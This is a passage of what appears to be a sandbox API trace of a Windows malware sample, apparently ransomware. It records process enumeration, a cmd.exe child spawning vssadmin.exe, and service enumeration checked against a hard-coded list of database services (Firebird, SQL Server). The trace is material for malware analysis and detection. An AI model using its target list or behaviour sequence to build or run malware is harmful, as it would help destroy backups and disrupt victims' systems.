lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0069.349] lstrlenW (lpString="edcsvr.exe") returned 10 [0069.350] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0069.351] lstrlenW (lpString="fpos.exe") returned 8 [0069.352] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0069.353] lstrlenW (lpString="isspos.exe") returned 10 [0069.353] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0069.355] lstrlenW (lpString="mxslipstream.exe") returned 16 [0069.355] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0069.357] lstrlenW (lpString="omnipos.exe") returned 11 [0069.357] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0069.359] lstrlenW (lpString="spcwin.exe") returned 10 [0069.359] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0069.361] lstrlenW (lpString="spgagentservice.exe") returned 19 [0069.361] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0069.363] lstrlenW (lpString="utg2.exe") returned 8 [0069.363] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="amsterdam.exe")) returned 1 [0069.365] lstrlenW (lpString="amsterdam.exe") returned 13 [0069.365] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="targetannounce.exe")) returned 1 [0069.367] lstrlenW (lpString="targetannounce.exe") returned 18 [0069.367] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="managed-davis.exe")) returned 1 [0069.369] lstrlenW (lpString="managed-davis.exe") returned 17 [0069.369] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discretion_revenue.exe")) returned 1 [0069.370] lstrlenW (lpString="discretion_revenue.exe") returned 22 [0069.371] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyer_canada_wma.exe")) returned 1 [0069.372] lstrlenW (lpString="lawyer_canada_wma.exe") returned 21 [0069.373] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0069.378] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0069.378] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0069.379] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0069.379] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0069.381] lstrlenW (lpString="winhost.exe") returned 11 [0069.381] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xac0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0069.382] lstrlenW (lpString="cmd.exe") returned 7 [0069.382] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0069.384] lstrlenW (lpString="conhost.exe") returned 11 [0069.384] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x990, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0069.386] lstrlenW (lpString="vssadmin.exe") returned 12 [0069.386] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x990, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0069.387] CloseHandle (hObject=0x1e4) returned 1 [0069.387] Sleep (dwMilliseconds=0x1f4) [0070.051] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x514d48 [0070.054] EnumServicesStatusExW (in: hSCManager=0x514d48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0070.055] GetLastError () returned 0xea [0070.055] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x134c) returned 0x50e1c8 [0070.055] EnumServicesStatusExW (in: hSCManager=0x514d48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x50e1c8, cbBufSize=0x134c, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x50e1c8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0070.057] CloseServiceHandle (hSCObject=0x514d48) returned 1 [0070.057] lstrlenW (lpString="Appinfo") returned 7 [0070.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0070.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0070.058] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0070.058] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0070.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0070.058] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0070.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0070.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0070.058] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0070.058] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0070.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0070.058] lstrlenW (lpString="AudioSrv") returned 8 [0070.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0070.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0070.059] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0070.059] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0070.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0070.059] lstrlenW (lpString="BFE") returned 3 [0070.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0070.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0070.059] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0070.059] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0070.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0070.059] lstrlenW (lpString="CryptSvc") returned 8 [0070.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0070.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0070.060] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0070.060] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0070.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0070.060] lstrlenW (lpString="CscService") returned 10 [0070.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0070.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0070.060] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0070.060] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0070.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0070.060] lstrlenW (lpString="DcomLaunch") returned 10 [0070.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0070.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0070.060] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0070.060] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0070.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0070.061] lstrlenW (lpString="Dhcp") returned 4 [0070.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0070.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0070.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0070.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0070.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0070.061] lstrlenW (lpString="Dnscache") returned 8 [0070.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0070.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0070.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0070.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0070.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0070.061] lstrlenW (lpString="DPS") returned 3 [0070.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0070.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0070.062] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0070.062] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0070.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0070.062] lstrlenW (lpString="eventlog") returned 8 [0070.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0070.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0070.063] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0070.063] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0070.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0070.063] lstrlenW (lpString="EventSystem") returned 11 [0070.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0070.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0070.063] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0070.063] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0070.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0070.063] lstrlenW (lpString="FontCache") returned 9 [0070.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0070.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0070.063] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0070.063] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0070.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0070.064] lstrlenW (lpString="gpsvc") returned 5 [0070.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0070.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0070.064] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0070.064] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0070.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0070.064] lstrlenW (lpString="iphlpsvc") returned 8 [0070.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0070.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0070.064] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0070.064] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0070.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0070.064] lstrlenW (lpString="LanmanServer") returned 12 [0070.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0070.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0070.065] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0070.065] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0070.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0070.065] lstrlenW (lpString="LanmanWorkstation") returned 17 [0070.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0070.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0070.065] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0070.065] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0070.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0070.065] lstrlenW (lpString="lmhosts") returned 7 [0070.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0070.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0070.065] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0070.065] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0070.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0070.066] lstrlenW (lpString="MMCSS") returned 5 [0070.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0070.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0070.066] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0070.066] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0070.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0070.066] lstrlenW (lpString="MpsSvc") returned 6 [0070.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0070.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0070.066] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0070.066] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0070.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0070.067] lstrlenW (lpString="Netman") returned 6 [0070.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0070.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0070.067] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0070.067] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0070.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0070.067] lstrlenW (lpString="netprofm") returned 8 [0070.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0070.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0070.067] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0070.067] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0070.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0070.067] lstrlenW (lpString="NlaSvc") returned 6 [0070.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0070.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0070.068] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0070.068] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0070.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0070.068] lstrlenW (lpString="nsi") returned 3 [0070.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0070.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0070.068] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0070.068] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0070.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0070.068] lstrlenW (lpString="PcaSvc") returned 6 [0070.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0070.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0070.068] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0070.069] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0070.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0070.069] lstrlenW (lpString="PlugPlay") returned 8 [0070.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0070.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0070.069] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0070.069] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0070.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0070.069] lstrlenW (lpString="Power") returned 5 [0070.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0070.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0070.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0070.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0070.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0070.070] lstrlenW (lpString="ProfSvc") returned 7 [0070.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0070.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0070.070] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0070.070] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0070.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0070.070] lstrlenW (lpString="RpcEptMapper") returned 12 [0070.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0070.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0070.070] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0070.070] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0070.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0070.071] lstrlenW (lpString="RpcSs") returned 5 [0070.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0070.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0070.071] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0070.071] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0070.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0070.071] lstrlenW (lpString="SamSs") returned 5 [0070.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0070.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0070.071] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0070.071] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0070.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0070.071] lstrlenW (lpString="Schedule") returned 8 [0070.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0070.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0070.072] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0070.072] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0070.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0070.072] lstrlenW (lpString="SENS") returned 4 [0070.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0070.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0070.072] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0070.072] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0070.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0070.072] lstrlenW (lpString="ShellHWDetection") returned 16 [0070.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0070.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0070.073] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0070.073] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0070.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0070.073] lstrlenW (lpString="Spooler") returned 7 [0070.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0070.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0070.073] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0070.073] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0070.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0070.073] lstrlenW (lpString="sppsvc") returned 6 [0070.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0070.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0070.074] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0070.074] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0070.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0070.074] lstrlenW (lpString="SysMain") returned 7 [0070.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0070.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0070.074] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0070.074] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0070.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0070.074] lstrlenW (lpString="Themes") returned 6 [0070.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0070.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0070.074] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0070.075] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0070.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0070.075] lstrlenW (lpString="TrkWks") returned 6 [0070.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0070.075] lstrcmpiW 